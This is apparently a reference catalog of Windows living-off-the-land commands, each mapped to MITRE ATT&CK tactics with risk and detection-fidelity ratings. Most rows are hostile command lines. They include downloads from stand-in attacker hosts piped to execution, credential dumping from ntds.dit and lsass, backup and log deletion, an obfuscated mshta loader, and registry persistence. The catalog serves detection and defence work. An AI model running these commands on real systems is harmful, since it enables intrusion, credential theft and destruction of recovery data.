MalCommands FAQ Contribute
Command ObjectID Tool MITRE Tactics MITRE Techniques Risk Fidelity
rar.exe a -r -[PASS] [OUTPUT.RAR] [FILES TO ZIP] 63360aff51879d92a525307b winrar Collection T1560, T1560.001 Low Low
rar.exe a -k -r -s -m1 -[PASS] [OUTPUT.RAR] [FILES TO ZIP] 63360aff51879d92a525307c winrar Collection T1560, T1560.001 Low Low
powershell -c (New-Object Net.WebClient).DownloadFile('http://download.anydesk.com/AnyDesk.msi', 'AnyDesk.msi') 63360aff51879d92a525307d AnyDesk Command and Control T1105 High High
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad.exe"} -r:http://target:5985 63360aff51879d92a525307e winrm Defense Evasion, Lateral Movement T1216, T1021.006 High Medium
winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="cmd.exe /k c:\windows\system32\notepad.exe"} -r:http://acmedc:5985 \nwinrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985 63360aff51879d92a525307f winrm Defense Evasion, Lateral Movement T1216, T1021.006 High Medium
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty 63360aff51879d92a5253080 winrm Defense Evasion, Lateral Movement T1216, T1021.006 High High
Msconfig.exe -5 63360aff51879d92a5253081 msconfig Defense Evasion T1218 Medium Medium
powershell.exe -command "set-location -path C:\Windows\diagnostics\system\Audio; import-module .\CL_LoadAssembly.ps1; LoadAssemblyFromPath ..\..\..\..\testing\fun.dll;[Program]::Fun()" 63360aff51879d92a5253082 CL_LoadAssembly Defense Evasion T1216 High High
runscripthelper.exe surfacecheck \\?\C:\Test\Microsoft\Diagnosis\scripts\test.txt C:\Test 63360aff51879d92a5253083 runscripthelper Defense Evasion T1218 High High
MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\beacon.exe 63360aff51879d92a5253084 mpcmdrun Command and Control T1105 High High
copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url https://attacker.server/beacon.exe -path C:\Users\Public\Downloads\evil.exe 63360aff51879d92a5253085 mpcmdrun Command and Control T1105 High High
MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\nicefile.txt:evil.exe 63360aff51879d92a5253086 mpcmdrun Command and Control, Defense Evasion T1105, T1564.004 High High
findstr /V /L [PATTERN] c:\ADS\file.exe > c:\ADS\file.txt:file.exe 63360aff51879d92a5253087 findstr Defense Evasion T1564.004 High High
findstr /V /L [PATTERN] \\webdavserver\folder\file.exe > c:\ADS\file.txt:file.exe 63360aff51879d92a5253088 findstr Defense Evasion T1564.004 High High
findstr /S /I cpassword \\sysvol\policies\*.xml 63360aff51879d92a5253089 findstr Credential Access T1552.001 Critical High
rcsi.exe bypass.csx 63360aff51879d92a525308a rcsi Defense Evasion T1127 High High
te.exe bypass.wsc 63360aff51879d92a525308b te Defense Evasion T1127 High High
csc.exe -out:My.exe File.cs 63360aff51879d92a525308c csc Execution T1127 High Medium
csc -target:library File.cs 63360aff51879d92a525308d csc Execution T1127 High Medium
taskkill /IM [IMAGENAME] /F 63360aff51879d92a525308e taskkill Defense Evasion T1562.001 High High
taskkill [/s <computer> [/u [<domain>\]<username> [/p [<password>]]]] {[/fi <filter>] [...] [/pid <processID> | /im <imagename>]} [/f] [/t] 63360aff51879d92a525308f taskkill Defense Evasion T1562.001 High High
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe 63360aff51879d92a5253090 extrac32 Defense Evasion T1564.004 High High
extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe 63360aff51879d92a5253091 extrac32 Defense Evasion, Command and Control T1564.004, T1105 High High
extrac32.exe /C C:\Windows\System32\calc.exe C:\Users\user\Desktop\calc.exe 63360aff51879d92a5253092 extrac32 Command and Control T1105 High High
rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.url" 63360aff51879d92a5253093 shdocvw Defense Evasion T1218.011 High High
fltmc.exe unload [DRIVER] 63360aff51879d92a5253094 fltmc Defense Evasion T1562.001 High High
fltmc.exe | findstr "385201" 63360aff51879d92a5253095 fltmc Discovery T1007 High High
SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX" 63360aff51879d92a5253096 Syncappvpublishingserver_vbs Defense Evasion T1216 High High
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt 63360aff51879d92a5253097 CertReq Command and Control, Exfiltration T1105, T1048 Medium High
wfc.exe c:\path\to\test.xoml 63360aff51879d92a5253098 wfc Defense Evasion T1127 High High
schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr c:\some\directory\revshell.exe 63360aff51879d92a5253099 schtasks Execution, Persistence, Privilege Escalation T1053.005 Medium Low
schtasks /create /s targetmachine /tn "MyTask" /tr c:\some\directory\notevil.exe /sc daily 63360aff51879d92a525309a schtasks Execution, Persistence, Privilege Escalation T1053.005 Medium Low
C:\Windows\system32\schtasks.exe /create /tn “[ANY NAME]” /tr “\”[ANY BINARY]” --scheduler” /sc ONSTART /ru System 63360aff51879d92a525309b schtasks Execution, Persistence, Privilege Escalation, Impact T1053.005, T1490 High Medium
wsreset.exe 63360aff51879d92a525309c wsreset Privilege Escalation, Defense Evasion T1548.002, T1218 High High
regsvcs.exe AllTheThingsx64.dll 63360aff51879d92a525309d regsvcs Defense Evasion T1218.009 High High
set comspec=c:\windows\system32\calc.exe & cscript c:\windows\system32\manage-bde.wsf 63360aff51879d92a525309e manage-bde Defense Evasion T1216 High High
copy c:\users\person\evil.exe c:\users\public\manage-bde.exe & cd c:\users\public\ & cscript.exe c:\windows\system32\manage-bde.wsf 63360aff51879d92a525309f manage-bde Defense Evasion T1216, T1036.005 High High
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct ^scrobj.dll > fakefile.doc:payload.bat 63360aff51879d92a52530a0 cmd Execution, Defense Evasion T1059.003, T1564.004 High High
cmd.exe - < fakefile.doc:payload.bat 63360aff51879d92a52530a1 cmd Execution, Defense Evasion T1059.003, T1564.004 High High
ATBroker.exe /start [MALWARE] 63360aff51879d92a52530a2 ATBroker Defense Evasion T1218 High High
dnx.exe consoleapp 63360aff51879d92a52530a3 dnx Defense Evasion T1127 High High
diantz.exe c:\pathToFile\file.exe c:\destinationFolder\targetFile.txt:targetFile.cab 63360aff51879d92a52530a4 diantz Defense Evasion, Collection T1564.004, T1560 Medium High
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab 63360aff51879d92a52530a5 diantz Collection, Command and Control T1560, T1105 Medium High
extexport.exe c:\test foo bar 63360aff51879d92a52530a6 ExtExport Defense Evasion T1218 High High
esentutl.exe /y C:\folder\sourcefile.vbs /d C:\folder\destfile.vbs /o 63360aff51879d92a52530a7 esentutl Command and Control T1105 High High
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit 63360aff51879d92a52530a8 esentutl Credential Access T1003.003 Critical High
esentutl.exe /y C:\ADS\file.exe /d c:\ADS\file.txt:file.exe /o 63360aff51879d92a52530a9 esentutl Defense Evasion T1564.004 High High
esentutl.exe /y C:\ADS\file.txt:file.exe /d c:\ADS\file.exe /o 63360aff51879d92a52530aa esentutl Defense Evasion T1564.004 High High
esentutl.exe /y \\192.168.100.100\webdav\file.exe /d c:\ADS\file.txt:file.exe /o 63360aff51879d92a52530ab esentutl Defense Evasion, Command and Control T1564.004, T1105 High High
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o 63360aff51879d92a52530ac esentutl Command and Control T1105 High High
Register-cimprovider -path "C:\folder\evil.dll" 63360aff51879d92a52530ad Register-cimprovider Defense Evasion T1218 High High
net user 63360aff51879d92a52530ae net Discovery T1087.001 Low Low
net user [username] [password] /add 63360aff51879d92a52530af net Persistence T1136.001, T1136.002 Low Low
net group "Domain Admins" /domain 63360aff51879d92a52530b0 net Discovery T1069.002 Low High
net group "Enterprise Admins" /domain 63360aff51879d92a52530b1 net Discovery T1069.002 Low High
net group "Domain Users" /domain 63360aff51879d92a52530b2 net Discovery T1087.002 Low High
net group "Domain Computers" /domain 63360aff51879d92a52530b3 net Discovery T1087.002 Low High
net start [Service] 63360aff51879d92a52530b4 net Execution T1569.002 Low High
net stop [Service] 63360aff51879d92a52530b5 net Execution T1569.002 Low High
net share 63360aff51879d92a52530b6 net Discovery T1135 Low Low
net use \\[SERVER\SHARE] /user:[USERNAME] [PASSWORD] 63360aff51879d92a52530b7 net Discovery, Lateral Movement T1083, T1021.002 Low Low
net config workstation 63360aff51879d92a52530b8 net Discovery T1082 Low Low
net accounts 63360aff51879d92a52530b9 net Discovery T1201 Low Low
net time /domain 63360aff51879d92a52530ba net Discovery T1124 Low Low
net localgroup Administrators 63360aff51879d92a52530bb net Discovery T1087.001 Low Low
net localgroup Administrators [USER] /add 63360aff51879d92a52530bc net Discovery T1136.001 High High
net view /all /domain 63360aff51879d92a52530bd net Discovery T1135, T1018 High High
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 C:\Tools\shady.inf 63360aff51879d92a52530be setupapi Defense Evasion T1218.011 High High
OfflineScannerShell.exe 63360aff51879d92a52530bf OfflineScannerShell Defense Evasion, Persistence, Privilege Escalation T1218, T1574.002 Medium Medium
wscript c:\ads\file.txt:script.vbs 63360aff51879d92a52530c0 wscript Defense Evasion, Execution T1564.004, T1059.005 High High
echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js 63360aff51879d92a52530c1 wscript Defense Evasion, Execution, Command and Control T1564.004, T1059.005, T1105 High High
cmdkey /list 63360aff51879d92a52530c2 cmdkey Credential Access T1003, T1003.005 High High
csi.exe [TARGET FILE] 63360aff51879d92a52530c3 csi Defense Evasion T1127 High Medium
certoc.exe -LoadDLL "C:\test\calc.dll" 63360aff51879d92a52530c4 certoc Execution T1218 High High
certoc.exe -GetCACAPS https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1 63360aff51879d92a52530c5 certoc Command and Control T1105 High High
psr.exe /start /output D:\test.zip /sc 1 /gui 0 63360aff51879d92a52530c6 psr Collection T1113 High Medium
dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll 63360aff51879d92a52530c7 dnscmd Persistence, Privilege Escalation T1543.003 Critical High
forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe 63360aff51879d92a52530c8 forfiles Defense Evasion T1202 Medium Medium
forfiles /p c:\windows\system32 /m notepad.exe /c "c:\folder\normal.dll:evil.exe" 63360aff51879d92a52530c9 forfiles Defense Evasion T1202, T1564.004 Medium Medium
cmdl32 /vpn /lan %cd%\config 63360aff51879d92a52530ca cmdl32 Command and Control T1105 High High
explorer.exe /root,"C:\Windows\System32\calc.exe" 63360aff51879d92a52530cb explorer Defense Evasion T1202 High High
explorer.exe C:\Windows\System32\notepad.exe 63360aff51879d92a52530cc explorer Defense Evasion T1202 High High
Pester.bat [/help|?|-?|/?] "$null; notepad" 63360aff51879d92a52530cd pester Defense Evasion T1216 High High
Pester.bat ;calc.exe 63360aff51879d92a52530ce pester Defense Evasion T1216 High High
C:\Windows\System32\IME\SHARED\IMEWDBLD.exe https://pastebin.com/raw/tdyShwLw 63360aff51879d92a52530cf imewdbld Command and Control T1105 High High
cscript c:\ads\file.txt:script.vbs 63360aff51879d92a52530d0 cscript Defense Evasion, Execution T1564.004, T1216, T1059.005 High High
rdrleakdiag.exe /p [PID] /o c:\evil /fullmemdmp /wait 1 63360aff51879d92a52530d1 rdrleakdiag Credential Access T1003, T1003.001 High High
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll 63360aff51879d92a52530d2 regsvr32 Defense Evasion, Command and Control T1218.010, T1105 Critical High
pnputil.exe -i -a C:\Users\hai\Desktop\mo.inf 63360aff51879d92a52530d3 pnputil Persistence, Privilege Escalation T1547 High High
squirrel.exe --download [URL TO PACKAGE] 63360aff51879d92a52530d4 squirrel Defense Evasion, Command and Control T1218, T1105 High High
squirrel.exe --updateRoolback=[url to package] 63360aff51879d92a52530d5 squirrel Defense Evasion, Command and Control T1218, T1105 High High
verclsid.exe /S /C {CLSID} 63360aff51879d92a52530d6 verclsid Defense Evasion T1218.012 High High
ssh localhost calc.exe 63360aff51879d92a52530d7 ssh Defense Evasion T1202, T1218 High High
fsutil.exe file setZeroData offset=0 length=9999999999 C:\Windows\Temp\payload.dll 63360aff51879d92a52530d8 fsutil Impact, Defense Evasion T1485, T1070.004 High High
fsutil.exe usn deletejournal /d c: 63360aff51879d92a52530d9 fsutil Impact, Defense Evasion T1485, T1070.004 High High
rundll32.exe advpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1, 63360aff51879d92a52530da advpack Defense Evasion T1218.011 High High
rundll32.exe advpack.dll,RegisterOCX test.dll 63360aff51879d92a52530db advpack Defense Evasion T1218.011 High High
rundll32.exe advpack.dll,RegisterOCX calc.exe 63360aff51879d92a52530dc advpack Defense Evasion T1218.011 High High
rundll32 advpack.dll, RegisterOCX "cmd.exe /c calc.exe" 63360aff51879d92a52530dd advpack Defense Evasion T1218.011 High High
pktmon.exe start --etw 63360aff51879d92a52530de pktmon Credential Access, Discovery T1040 High Low
pktmon.exe filter add -p 445 63360aff51879d92a52530df pktmon Credential Access, Discovery T1040 High Low
ilasm.exe C:\public\test.txt /exe 63360aff51879d92a52530e0 ilasm Defense Evasion T1127 Medium Medium
cdb.exe -cf x64_calc.wds -o notepad.exe 63360aff51879d92a52530e1 cdb Defense Evasion T1127 High High
cdb.exe -pd -pn <process_name> .shell <cmd> 63360aff51879d92a52530e2 cdb Defense Evasion T1127 High High
ntdsutil.exe "ac i ntds" "ifm" "create full c:\" q q 63360aff51879d92a52530e3 ntdsutil Credential Access T1003.003 Critical High
wab.exe 63360aff51879d92a52530e4 wab Defense Evasion T1218 High High
netsh.exe add helper C:\Users\User\file.dll 63360aff51879d92a52530e5 netsh Privilege Escalation, Persistence T1546.007 High High
mstsc.exe /control /noConsentPrompt /shadow:1 /v:localhost 63360aff51879d92a52530e6 mstsc Lateral Movement T1021 High High
bginfo.exe bginfo.bgi /popup /nolicprompt 63360aff51879d92a52530e7 bginfo Defense Evasion T1218 Medium Medium
\\10.10.10.10\webdav\bginfo.exe bginfo.bgi /popup /nolicprompt 63360aff51879d92a52530e8 bginfo Defense Evasion T1218 Medium Medium
Tracker.exe /d .\calc.dll /c C:\Windows\write.exe 63360aff51879d92a52530e9 tracker Defense Evasion, Privilege Escalation T1127, T1055.001 High High
netstat -anob 63360aff51879d92a52530ea netstat Discovery T1049 Low Low
regini [ConfigFile] 63360b0051879d92a52530eb regini Defense Evasion T1112 High High
regini -m [\\ComputerName] [ConfigFile] 63360b0051879d92a52530ec regini Defense Evasion T1112 High High
dotnet.exe [PATH_TO_DLL] 63360b0051879d92a52530ed dotnet Defense Evasion T1218 High Medium
dotnet.exe msbuild [Path_TO_XML_CSPROJ] 63360b0051879d92a52530ee dotnet Defense Evasion T1218 High Medium
rundll32.exe zipfldr.dll,RouteTheCall file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e 63360b0051879d92a52530ef zipfldr Defense Evasion T1218.011, T1027 High High
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\cpl.internal\desktop\asptest\ -f C:\users\cpl.internal\desktop\asptest\none -u 63360b0051879d92a52530f0 aspnet_compiler Defense Evasion T1127 High High
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll" 63360b0051879d92a52530f1 powerpnt Command and Control T1105 High High
wevtutil clear-log [LOGNAME] 63360b0051879d92a52530f2 wevtutil Defense Evasion T1562.002, T1070 High High
wevtutil cl [LOGNAME] 63360b0051879d92a52530f3 wevtutil Defense Evasion T1562.002, T1070 High High
wevtutil sl [LOGNAME] /e:false 63360b0051879d92a52530f4 wevtutil Defense Evasion T1562.002, T1070 High High
wsl.exe -e /mnt/c/Windows/System32/calc.exe 63360b0051879d92a52530f5 wsl Defense Evasion T1202 High High
wsl.exe -u root -e cat /etc/shadow 63360b0051879d92a52530f6 wsl Defense Evasion, Credential Access T1202, T1003.008 Critical High
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary' 63360b0051879d92a52530f7 wsl Defense Evasion, Command and Control T1202, T1105 High High
wbadmin delete catalog -quiet 63360b0051879d92a52530f8 wbadmin Impact T1490 Critical High
wbadmin delete systemstatebackup -keepversions:0 63360b0051879d92a52530f9 wbadmin Impact T1490 Critical High
dump64.exe <pid> out.dmp 63360b0051879d92a52530fa dump64 Credential Access T1003.001 High High
auditpol /set /category:"Detailed Tracking" /success:disable /failure:disable 63360b0051879d92a52530fb auditpol Defense Evasion T1562.002 Medium High
auditpol /remove /allusers 63360b0051879d92a52530fc auditpol Defense Evasion T1562.002 Medium High
auditpol /restore /file:[RestoreFile] 63360b0051879d92a52530fd auditpol Defense Evasion T1562.002 Medium High
auditpol /clear /y 63360b0051879d92a52530fe auditpol Defense Evasion T1562.002 Medium High
cmstp.exe /ni /s c:\cmstp\CorpVPN.inf 63360b0051879d92a52530ff cmstp Defense Evasion T1218.003 High High
cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf 63360b0051879d92a5253100 cmstp Defense Evasion T1218.003 High High
cmstp.exe /s /ns C:\Users\ADMINI~W\AppData\Local\Temp\XKNqbpzl.txt 63360b0051879d92a5253101 cmstp Defense Evasion T1218.003 High High
Update.exe --download [URL TO PACKAGE] 63360b0051879d92a5253102 Update Defense Evasion, Command and Control T1218, T1105 High High
Update.exe --update=[url to package] 63360b0051879d92a5253103 Update Defense Evasion, Command and Control T1218, T1105 High High
Update.exe --processStart payload.exe --process-start-args "whatever args" 63360b0051879d92a5253104 Update Defense Evasion T1218 High High
Update.exe --createShortcut=payload.exe -l=Startup 63360b0051879d92a5253105 Update Defense Evasion, Persistence, Privilege Escalation T1218, T1547 High High
odbcconf -f file.rsp 63360b0051879d92a5253106 odbcconf Defense Evasion T1218.008 High High
odbcconf /a {REGSVR c:\test\test.dll} 63360b0051879d92a5253107 odbcconf Defense Evasion T1218.008 High High
pcalua.exe -a calc.exe 63360b0051879d92a5253108 pcalua Defense Evasion T1202 High High
pcalua.exe -a \\server\payload.dll 63360b0051879d92a5253109 pcalua Defense Evasion, Command and Control T1202, T1105 High High
pcalua.exe -a C:\Windows\system32\javacpl.cpl -c Java 63360b0051879d92a525310a pcalua Defense Evasion T1202, T1218.002 High High
Sqlps.exe -noprofile 63360b0051879d92a525310b sqlps Defense Evasion T1218 High High
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://attacker.com/payload.txt')|iex" 63360b0051879d92a525310c PowerShell Execution, Command and Control T1059.001, T1105 High High
powershell.exe -nop -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/Pause-Process/master/pause-process.ps1');Pause-Process -ID 1180;UnPause-Process -ID 1180;" 63360b0051879d92a525310d PowerShell Execution T1059.001 High High
powershell -command ". C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1 \nSyncInvoke <executable> [args]" 63360b0051879d92a525310e CL_Invocation Defense Evasion T1216 High High
pubprn.vbs 127.0.0.1 script:https://domain.com/folder/file.sct 63360b0051879d92a525310f pubprn Defense Evasion T1216.001 High High
sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto\ & sc start evilservice 63360b0051879d92a5253110 sc Defense Evasion, Execution T1564.004, T1569.002 High Medium
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll 63360b0051879d92a5253111 excel Command and Control T1105 High High
stordiag.exe 63360b0051879d92a5253112 Stordiag Defense Evasion T1218 Medium High
Dxcap.exe -c C:\Windows\System32\notepad.exe 63360b0051879d92a5253113 dxcap Defense Evasion T1127 High High
msbuild.exe pshell.xml 63360b0051879d92a5253114 msbuild Defense Evasion T1127.001 Low Medium
msbuild.exe project.csproj 63360b0051879d92a5253115 msbuild Defense Evasion T1127.001 Low Medium
msbuild.exe /logger:TargetLogger,C:\Loggers\TargetLogger.dll;MyParameters,Foo 63360b0051879d92a5253116 msbuild Defense Evasion T1127.001 High High
finger user@example.host.com | more +2 | cmd 63360b0051879d92a5253117 finger Command and Control T1105 High High
msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE 63360b0051879d92a5253118 msdt Defense Evasion T1218 High High
powershell -command ". C:\\Windows\\diagnostics\\system\\AERO\\CL_Mutexverifiers.ps1 \nrunAfterCancelProcess calc.ps1" 63360b0051879d92a5253119 CL_Mutexverifiers Defense Evasion T1216 High High
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr 63360b0051879d92a525311a DesktopImgDownldr Command and Control T1105 High High
PrintBrm -b -d \\1.2.3.4\share\example_folder -f C:\Users\user\Desktop\new.zip 63360b0051879d92a525311b printbrm Command and Control, Collection T1105, T1560.001 High High
PrintBrm -r -f C:\Users\user\Desktop\data.txt:hidden.zip -d C:\Users\user\Desktop\new_folder 63360b0051879d92a525311c printbrm Command and Control, Collection, Defense Evasion T1105, T1560.001, T1564.004 High High
mshta [filename.hta] 63360b0051879d92a525311d mshta Defense Evasion T1218.005 High High
mshta vbscript:Execute("[Commands/Script]") 63360b0051879d92a525311e mshta Defense Evasion T1218.005 High High
mshta.exe "[Inline HTA Script]" 63360b0051879d92a525311f mshta Defense Evasion T1218.005 High High
mshta.exe [http://malware_url] 63360b0051879d92a5253120 mshta Defense Evasion T1218.005 High High
mshta javascript:[Commands/Script] 63360b0051879d92a5253121 mshta Defense Evasion T1218.005 High High
schtasks /create /sc MINUTE /mo 100 /tn eScan Backup /tr ""mshta vbscript:CreateObject(""Wscript.Shell"").Run(""mshta.exe hxxps://pastebin[.]com/raw/XXXXXXX"",0,true)(window.close)"" /F 63360b0051879d92a5253122 mshta Defense Evasion, Execution, Persistence, Privilege Escalation T1218.005, T1053.005 High High
mshta.exe vbscript:CreateObject(""Wscript.Shell"").Run(""powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString(\'h\'+\'x\'+\'x\'+\'p\'+\'s:\'+\'//p\'+\'a\'+\'s\'+\'t\'+\'e\'+\'b\'+\'i\'+\'n\'+\'.\'+\'c\'+\'o\'+\'m\'+\'/\'+\'r\'+\'a\'+\'w\'+\'/\'+\'XXXXXXXX\'))).EntryPoint.Invoke($N,$N)"",0,true)(window.close) 63360b0051879d92a5253123 mshta Defense Evasion, Execution T1218.005, T1059.001 High High
mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct").Exec();close(); 63360b0051879d92a5253124 mshta Defense Evasion T1218.005 High High
rundll32.exe shell32.dll,Control_RunDLL [payload.dll | payload.exe | "cmd.exe" "/c echo test"] 63360b0051879d92a5253125 shell32 Defense Evasion T1218.011 High High
msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="c:\temp\calc.bat" 63360b0051879d92a5253126 msdeploy Defense Evasion T1218 High High
adplus.exe -hang -pn lsass.exe -o c:\users\mr.d0x\output\folder -quiet 63360b0051879d92a5253127 adplus Credential Access T1003.001 Critical High
rundll32.exe desk.cpl,InstallScreenSaver C:\temp\file.scr 63360b0051879d92a5253128 desk Defense Evasion T1218.011 High High
rundll32.exe desk.cpl,InstallScreenSaver \\127.0.0.1\c$\temp\file.scr 63360b0051879d92a5253129 desk Defense Evasion, Command and Control T1218.011, T1105 High High
AgentExecutor.exe -powershell "c:\temp\malicious.ps1" "c:\temp\test.log" "c:\temp\test1.log" "c:\temp\test2.log" 60000 "C:\Windows\SysWOW64\WindowsPowerShell\v1.0" 0 1 63360b0051879d92a525312a AgentExecutor Defense Evasion, Execution T1218, T1059.001 High High
AgentExecutor.exe -powershell "c:\temp\malicious.ps1" "c:\temp\test.log" "c:\temp\test1.log" "c:\temp\test2.log" 60000 "C:\temp\" 0 1 63360b0051879d92a525312b AgentExecutor Defense Evasion, Execution T1218, T1059.001 High High
Remote.exe /s "powershell.exe" [ANY ARGUMENTS/COMMANDS] 63360b0051879d92a525312c remote Defense Evasion T1127 High High
Remote.exe /s "\\10.10.10.30\binaries\file.exe" [ANY ARGUMENTS/COMMANDS] 63360b0051879d92a525312d remote Defense Evasion, Command and Control T1127, T1105 High High
AppVLP.exe \\webdav\calc.bat 63360b0051879d92a525312e AppVLP Defense Evasion, Command and Control T1218, T1105 High High
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('calc.exe','', '', 'open', 1)" 63360b0051879d92a525312f AppVLP Defense Evasion, Execution T1218, T1059.001 High High
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject excel.application;$e.RegisterXLL('\\webdav\xll_poc.xll')" 63360b0051879d92a5253130 AppVLP Defense Evasion, Execution, Command and Control T1218, T1059.001, T1105 High High
HH.exe http://some.url/script.ps1 63360b0051879d92a5253131 hh Command and Control, Defense Evasion T1105, T1218.001 High High
HH.exe c:\windows\system32\calc.exe 63360b0051879d92a5253132 hh Command and Control, Defense Evasion T1105, T1218.001 High High
HH.exe C:\somefile.chm 63360b0051879d92a5253133 hh Command and Control, Defense Evasion T1105, T1218.001 High High
Vsjitdebugger.exe calc.exe 63360b0051879d92a5253134 vsjitdebugger Defense Evasion T1127 High High
InfDefaultInstall.exe Infdefaultinstall.inf 63360b0051879d92a5253135 infdefaultinstall Defense Evasion T1218 High High
bcdedit /set {default} bootstatuspolicy ignoreallfailures 63360b0051879d92a5253136 bcdedit Impact T1490 Medium Medium
bcdedit /set {default} recoveryenabled no 63360b0051879d92a5253137 bcdedit Impact T1490 Medium Medium
bcdedit /set {default} safeboot minimal 63360b0051879d92a5253138 bcdedit Defense Evasion T1562.009 Medium Medium
bcdedit /set {current} safeboot minimal 63360b0051879d92a5253139 bcdedit Defense Evasion T1562.009 Medium Medium
bcdedit /set {default} safeboot network 63360b0051879d92a525313a bcdedit Defense Evasion T1562.009 Medium Medium
bcdedit /set {current} safeboot network 63360b0051879d92a525313b bcdedit Defense Evasion T1562.009 Medium Medium
bcdedit /set {globalsettings} advancedoptions false 63360b0051879d92a525313c bcdedit Defense Evasion T1562.009 Medium Medium
rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo 63360b0051879d92a525313d Dfsvc Execution T1127 High High
powershell.exe -command "set-location -path c:\windows\diagnostics\system\networking; import-module .\UtilityFunctions.ps1; RegSnapin ..\..\..\..\temp\unsigned.dll;[Program.Class]::Main()” 63360b0051879d92a525313e UtilityFunctions Defense Evasion T1216 High High
rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM 63360b0051879d92a525313f rpcping Credential Access T1003, T1187 Medium High
rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLM 63360b0051879d92a5253140 rpcping Credential Access T1003, T1187 Medium High
WorkFolders 63360b0051879d92a5253141 WorkFolders Defense Evasion T1218 High High
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a5253142 reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a5253143 reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a5253144 reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a5253145 reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a5253146 reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a5253147 reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v [Value] /t [REG_SZ/REG_DWORD] /d [Data] /f 63360b0051879d92a5253148 reg Defense Evasion, Persistence, Privilege Escalation T1112, T1547.001 Medium Low
